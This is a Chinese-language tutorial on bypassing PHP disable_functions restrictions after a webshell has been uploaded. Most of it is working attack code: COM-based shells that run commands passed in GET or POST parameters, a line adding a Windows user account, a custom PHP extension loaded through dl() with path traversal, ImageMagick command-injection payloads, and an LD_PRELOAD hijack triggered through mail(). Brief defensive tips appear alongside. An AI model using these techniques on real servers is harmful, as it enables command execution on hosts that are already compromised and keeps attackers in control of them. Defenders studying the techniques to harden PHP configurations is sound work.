0x00 前言
上传webshell后,执行命令时或许没法执行了,这时我们该分析下原理并想出绕过方式,防守方也必须根据绕过方式想想更强的防御.
shell_exec() 或者 `cmd`
system()
passthru()
popen()
proc_open()
pcntl_exec() //需要开启pcntl扩展
COM组建:Wscript.Shell和Shell.Application
dl() //通过加载自定义php扩展突破 disable_fucnitons指令的限制
第十种(利用PHP内核变量绕过disable_functions)请直接移步到freebuf http://www.freebuf.com/articles/web/82801.html
链接:https://www.zhihu.com/question/41810594/answer/99036512
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
1. exec
原型:string exec ( string command [, array &output [, int &return_var]] )
描述:所有输出结果将会保存到$output数组,返回值中是最后的输出结果(也就是output的最后一行 ),$return_var用来保存命令执行的状态码(用来检测成功或失败)。
例子:$ret = exec("ls -al", $output, $var);
2. shell_exec \ ``(反斜杠)
原型:string shell_exec ( string $cmd )
3. system
原型:string system ( string command [, int &return_var] )
描述:执行给定的命令,返回最后的输出结果;第二个参数是可选的,用来得到命令执行后的状态码。
例子:$ret = system("ls -al", $var);
4. passthru
原型:void passthru (string command [, int return_var])
描述:执行给定的命令,但不返回任何输出结果,而是直接输出到显示设备上;第二个参数可选,用来得到命令执行后的状态码。
例子:passthru("ls -al", $var);
5. popen
原型:resource popen ( string command, string mode )
描述:打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。
例子
1:$fd = popen("command", 'r'); $ret = fgets($fd);
2:$fd = popen("systeminfo >d:\\1.txt", 'r'); pclose($fd);print(fgets(fopen("d:\\1.txt",'r')));
3:$fd=popen("ipconfig",'r');
while($s=fgets($fd)){
print_r($s);
}
注意:只能打开单向管道,不是'r'就是'w';并且需要使用pclose()来关闭。
6. proc_open
原型:resource proc_open ( string cmd, array descriptorspec, array &pipes [, string cwd [, array env [, array other_options]]] )
描述:与popen类似,但是可以提供双向管道。具体的参数读者可 以自己翻阅php manual
注意:
A. 后面需要使用proc_close()关闭资源,并且如果是pipe类型,需要用pclose()关闭句柄。
B. proc_open打开的程序作为php的子进程,php退出后该子进程也会退出。
例子:
<?php
$descriptorspec=array( //这个索引数组用力指定要用proc_open创建的子进程的描述符
0=>array('pipe','r'), //STDIN
1=>array('pipe','w'),//STDOUT
2=>array('pipe','w') //STDERROR
);
$handle=proc_open('dir',$descriptorspec,$pipes,NULL);
//$pipes中保存的是子进程创建的管道对应到 PHP 这一端的文件指针($descriptorspec指定的)
if(!is_resource($handle)){
die('proc_open failed');
}
//fwrite($pipes[0],'ipconfig');
print('stdout:<br/>');
while($s=fgets($pipes[1])){
print_r($s);
}
print('===========<br/>stderr:<br/>');
while($s=fgets($pipes[2])){
print_r($s);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($handle);
?>
7. cntl_exec
原型:void pcntl_exec ( string $path [, array $args [, array $envs ]] )
描述:(PHP 4 >= 4.2.0, PHP 5, PHP 7)
pcntl_exec — 在当前进程空间执行以给定参数执行指定程序。
pcntl是linux下的一个扩展,可以支持php的多线程操作。
参数:
path: 必须是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径
标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)。 更多的
信息请查看您系统的execve(2)手册。
args: 一个要传递给程序的参数的字符串数组。
envs: 一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格
式的,key代表要传递的环境变量的名称,value代表该环境变量值。
返回值:当发生错误时返回 FALSE ,没有错误时没有返回。
8. COM组建(针对windwos环境下使用com组建)
原型:
Wscript.Shell->exec(command) //
Shell.Application->ShellExecute(appName,appArgs,appPath) //
Shell.Application->open(appPath) //要填写程序绝对路径,并且应该没有办法加参数
Shell.Application->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverb()
Shell.Application->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverbEx()
描述:在windwos下,并且在php中开启com组建扩展之后可以使用这种方法(打开方式自行百度)
彻底的解决方案是 直接删除System32目录下wshom.ocx文件
例子:
<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$exec=$phpwsh->exec("cmd.exe /c ".$_GET['c']."");
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
<?php
$phpwsh=new COM("Shell.Application") or die("Create Wscript.Shell Failed!");
$exec=$phpwsh->ShellExecute("net"," user tiny tiny /add");
//$exec=$phpwsh->ShellExecute("cmd","/c net user tiny tiny /add");
?>
<?php
$phpwsh=new COM("Shell.Application") or die("Create Wscript.Shell Failed!");
$exec=$phpwsh->open("c:\\windows\\system32\\cmd.exe");
?>
<?php
$a=new COM("Shell.Application");
$a->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverb();
?>
<?php
$a=new COM("Shell.Application");
$a->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverbEx();
?>
9.dl()
要求:php没有开启安全模式,并且enable_dl选项为on,并且php版本支持dl函数
(在 PHP 5.3 里,此函数被某些 SAPI 移除了,也就是没有这个函数?)
说明:extension_dir选项可以指定扩展模块的目录,但是我们可以使用相对路径的方式绕过
原理:自己编写扩展,然后使用dl加载此扩展。
举例(linux):
准备工作:
自行上网下载apache和相近版本的php源码,按照apache和php的官方文档进行安装。
我们主要需要三个文件:phpize,php-config和ext_skel:在正确安装好了apache和php之后,
phpize和php-config将被安装(可以自行find),而ext_skel则是是在php源码中的ext目录中。
ext_skel是php源码包中的用来帮助制作扩展的程序。
1)转到php-x.x.xx/ext中首先新建xxx.skel文件,里面填写要制作的扩展中的函数原型,例如:
string exec(string str)
2)执行命令:./ext_skel --extname=tinymin --proto=xxx.skel 之后便生成了tinymin目录,
里面则是扩展所需要的文件
3)cd tinymin
4)vi config.m4
将 config.m4文件里面
dnl PHP_ARG_WITH(myext, for myext support,
dnl Make sure that the comment is aligned:
dnl [ --with-myext Include myext support])
修改成
PHP_ARG_WITH(myext, for myext support,
[ --with-myext Include myext support])
5)vi tinymin.c
将PHP_FUNCTION(exec)后面的大括号里面的代码的最后一行删除,并写上自己的代码,修改后如:PHP_FUNCTION(haha)
{
char *str = NULL;
int argc = ZEND_NUM_ARGS();
int str_len;
if (zend_parse_parameters(argc TSRMLS_CC, "s", &str, &str_len) == FAILURE)
return;
return system(str);
}
6)找到phpize:find / -name "phpize" 然后运行一下phpize:
/my_lamp/php/bin/phpize
7) 同样方式找到php-config,然后运行configure:
./configure --with-php-config=/my_lamp/php/bin/php-config
8)make&&make install
之后便在自己的php扩展目录中生成了扩展tinymin.so
在目标服务器上面上传tinymin.so(不一定要在它的php扩展目录中,因为可以使用相对路径)
用法例如:
<?php
dl("../../../../../tmp/tinymin.so");
echo exec($_GET['cmd']);
?>
这种方法也很老了,我在自己的的kali2上面尝试这样做的时候提示没有dl这个函数,具体原因参见php manual
windows上应该也是一样的原理。不过没有试过
10.内核变量 http://www.freebuf.com/articles/web/82801.html
目前我还不是很清楚这种方式。。。。毛子果然厉害
0x01 php webshell执行命令原理
php webshell(以下简称webshell)下是怎么执行系统命令的?我们找一个webshell分析下
搜索关键字定位到以下代码
- function execute($cfe) {
- $res = '';
- if ($cfe) {
- if(function_exists('system')) {
- @ob_start();
- @system($cfe);
- $res = @ob_get_contents();
- @ob_end_clean();
- } elseif(function_exists('passthru')) {
- @ob_start();
- @passthru($cfe);
- $res = @ob_get_contents();
- @ob_end_clean();
- } elseif(function_exists('shell_exec')) {
- $res = @shell_exec($cfe);
- } elseif(function_exists('exec')) {
- @exec($cfe,$res);
- $res = join("\n",$res);
- } elseif(@is_resource($f = @popen($cfe,"r"))) {
- $res = '';
- while(!@feof($f)) {
- $res .= @fread($f,1024);
- }
- @pclose($f);
- }
- }
- return $res;
- }
即按顺利调用system(),passthru(),shell_exec,exec,popen函数 成功调用就不再往下调用
0x02禁止webshell执行命令原理
Php配置文件里面有个disable_functions = 配置,这个禁止某些php函数,
服务器便是用这个来禁止php的执行命令函数,
例如
- disable_functions =system,passthru,shell_exec,exec,popen
便禁止了用这些函数来执行系统命令
0x03黑名单绕过
知道了原理后,我们便能想出很多绕过的方式
首先是黑名单绕过
我们看看php下能够执行系统命令的函数有哪些
- assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(<strong>反单引号</strong>)
那么 便可以看看php.ini中的disable_function漏过了哪些函数。
然后 hack it.
曾经在给某大企业做渗透测试时,未禁用assert 成功执行命令
乌云上的案例 未禁用proc_open而引起
http://www.wooyun.org/bugs/wooyun-2013-015991
解决方案:关注并收集php系统命令执行函数,补齐disable_function项。
0x04 系统组件绕过
这个方法适用于windows
- <?php
- $command=$_POST[a];
- $wsh = new COM('WScript.shell'); // 生成一个COM对象
- $exec = $wsh->exec('cmd.exe /c '.$command); //调用对象方法来执行命令
- $stdout = $exec->StdOut();
- $stroutput = $stdout->ReadAll();
- echo $stroutput
- ?>
Shell.Application也可以实现同样的效果
彻底的解决方案是 直接删除System32目录下wshom.ocx文件
0x05拓展库绕过
Linux下可通过编译拓展库进行绕过
网络上的方法及官方的方法 都提示错误,
经过研究 给出一种正确编译PHP拓展库的方法
前方高能。
首先得知PHP服务器php版本,下载个相同或相近版本的php源码包
- tar zxvf php-5.3.10.tar.gz //解压缩
- cd php-5.3.10/ext
- ./ext_skel --extname=dl //生成名为dl的拓展库
- cd dl
- vi config.m4
将这三行
- PHP_ARG_WITH(dl, for dl support,
- Make sure that the comment is aligned:
- [ --with-dl Include dl support])
前面的dnl去掉并保存
- whereis phpize //找出phpize路径
- /usr/local/bin/phpize // 运行phpize
- vi dl.c
在
- if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &arg, &arg_len) == FAILURE) {
- return;
- }
这一行下添加
- system(arg);
- whereis php-config //找出php-config的路径
- ./configure --whith-php-config=php-config路径
- make
- make install
- [root@TENCENT64 ~/php-5.3.10/ext/dl]# make install
- Installing shared extensions: /usr/local/lib/php/extensions/no-debug-non-zts-20121212/
成功生成了
查看php.ini的
extension_dir 项
将
- /usr/local/lib/php/extensions/no-debug-non-zts-20121212/dl.so
拷贝到extension_dir目录下
若extension_dir目录无写权限则可写入任意目录用../../来绕过并调用。
利用代码:
- <?php
- dl("dl.so"); //dl.so在extension_dir目录,如不在则用../../来实现调用
- confirm_dl_compiled("$_GET[a]>1.txt");
- ?>
查看1.txt即可看到命令执行结果
防御方法:将dl函数加入disable_function中禁用
0x06 ImageMagick组件
1、Delegate命令执行
默认的配置文件在源码的config/delegates.xml.in中,一般使用者很少会去修改这个配置文件。
具体的内容如下:
https://github.com/ImageMagick/ImageMagick/blob/25d021ff1a60a67680dbb640ccc0b6b60f785192/magick/delegate.c(存在漏洞的版本)
对于https形式的文件,他是这样处理的:
command定义了他具体带入system()执行的命令:"wget" -q -O "%o" "https:%M"。
%M是占位符,在配置文件中有对占位符的定义:
%m被定义为输入的图片格式,也就是我们输入的url地址。但是由于只是做了简单的字符串拼接,所以我们可以将引号闭合后通过管道符带入其他命令,也就形成了命令注入。
比如url为:https://example.com"|ls "-la
那实际命令就变成了:
"wget" -q -O "%o" " https://example.com"|ls "-la"
ls –la被执行了。
EXP:
- <?php
- echo "Disable Functions: " . ini_get('disable_functions') . "\n";
- $command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
- if ($command == '') {
- $command = 'id';
- }
- $exploit = <<<EOF
- push graphic-context
- viewbox 0 0 640 480
- fill 'url(https://example.com/image.jpg"|$command")'
- pop graphic-context
- EOF;
- file_put_contents("KKKK.mvg", $exploit);
- $thumb = new Imagick();
- $thumb->readImage('KKKK.mvg');
- $thumb->writeImage('KKKK.png');
- $thumb->clear();
- $thumb->destroy();
- unlink("KKKK.mvg");
- unlink("KKKK.png");
- ?>
或者
- <?php
- $c=$_REQUEST['c'];
- $e = <<<EOF
- push graphic-context
- viewbox 0 0 640 480
- fill 'url(https://"|$c")'
- pop graphic-context
- EOF;
- $i = new Imagick();
- $i->readImageBlob($e);
- ?>
2、popen_utf8命令注入
ImageMagick在处理文件名时会调用OpenBlob()函数,在OpenBlob()函数中,代码2484行,判断文件名是否以|竖线开头,如果是,那么他会调用popoen_utf8()函数处理文件名,代码如图:
来到popoen_utf8()函数,popen_utf8()函数调用会调用popen()函数打开文件,这样就导致我们可以注入系统命令,代码如图:
利用前提:上传后文件名不被处理,部分命令需要截包修改写入特殊符号(前台校验)
EXP:
文件名‘|touch /tmp/niubl’
- <?php
- new Imagick('|touch /tmp/niubl');
- ?>
0x07 LD_PRELOAD劫持
php的mail函数在执行过程中会默认调用系统程序/usr/sbin/sendmail,如果我们能劫持sendmail程序,再用mail函数来触发就能实现我们的目的了。那么我们有没有办法在webshell层来劫持它呢,环境变量LD_PRELOAD给我们提供了一种简单实用的途径。
编写hack.c:
- #include <stdlib.h>
- #include <stdio.h>
- #include <string.h>
- void payload() {
- system("rm /tmp/check.txt");
- }
- int geteuid() {
- if (getenv("LD_PRELOAD") == NULL) { return 0; }
- unsetenv("LD_PRELOAD");
- payload();
- }
当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令。这个测试函数写的很简单,实际应用时可相应调整完善。在攻击机上(注意编译平台应和靶机平台相近,至少不能一个是32位一个是64位)把它编译为一个位置信息无关的动态共享库:
- $ gcc -c -fPIC hack.c -o hack
- $ gcc -shared hack -o hack.so
再上传到webshell上,然后写一段简单的php代码:
- <?php
- putenv("LD_PRELOAD=/var/www/hack.so");
- mail("a@localhost","","","","");
- ?>
在浏览器中打开就可以执行它,然后再去检查新建的文件是否还存在,找不到文件则表示系统成功执行了删除命令,也就意味着绕过成功,测试中注意修改为实际路径。 本地测试效果如下:
- [yiyang@bogon Desktop]$ touch /tmp/check.txt
- [yiyang@bogon bin]$ ./php mail.php
- sendmail: warning: the Postfix sendmail command has set-uid root file permissions
- sendmail: warning: or the command is run from a set-uid root process
- sendmail: warning: the Postfix sendmail command must be installed without set-uid root file permissions
- sendmail: fatal: setgroups(1, &500): Operation not permitted
- [yiyang@bogon bin]$ cat /tmp/check.txt
- cat: /tmp/check.txt: No such file or directory
普通用户权限,目标文件被删除。
防御措施:
以上方法在Linux RHEL6及自带邮件服务+php5.3.X以下平台测试通过,精力有限未继续在其他平台测试,新版本可能进行了相应修复。这种绕过行为其实也很容易防御,禁用相关函数或者限制环境变量的传递,例如安全模式下,这种传递是不会成功的。这个思路不仅仅局限于mail函数,你可以尝试追踪其他函数的调用过程,例如syslog等与系统层有交集的函数是否也有类似调用动态共享库的行为来举一反三。